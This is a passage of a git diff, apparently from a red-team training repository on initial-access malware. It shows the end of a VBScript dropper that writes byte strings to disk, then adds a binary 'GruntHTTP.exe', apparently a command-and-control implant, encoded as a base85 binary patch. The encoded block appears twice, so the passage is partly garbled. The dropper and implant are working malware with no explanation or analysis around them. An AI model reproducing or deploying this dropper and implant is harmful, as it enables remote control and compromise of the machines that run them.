0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" +End Sub + +Sub DumpFile(strFilename) + Dim objFSO + Dim objFile + + Set objFSO = CreateObject("Scripting.FileSystemObject") + Set objFile = objFSO.OpenTextFile(strFilename, 2, true) + DumpFile1 objFile + DumpFile2 objFile + DumpFile3 objFile + DumpFile4 objFile + objFile.Close +End Sub diff --git a/2-4-initial-access-malware/GruntHTTP.exe b/2-4-initial-access-malware/GruntHTTP.exe new file mode 100644 index 0000000000000000000000000000000000000000..ee166eb223eab0daa7a1dbf48e6ccffa9abd19a2 GIT binary patch literal 11776 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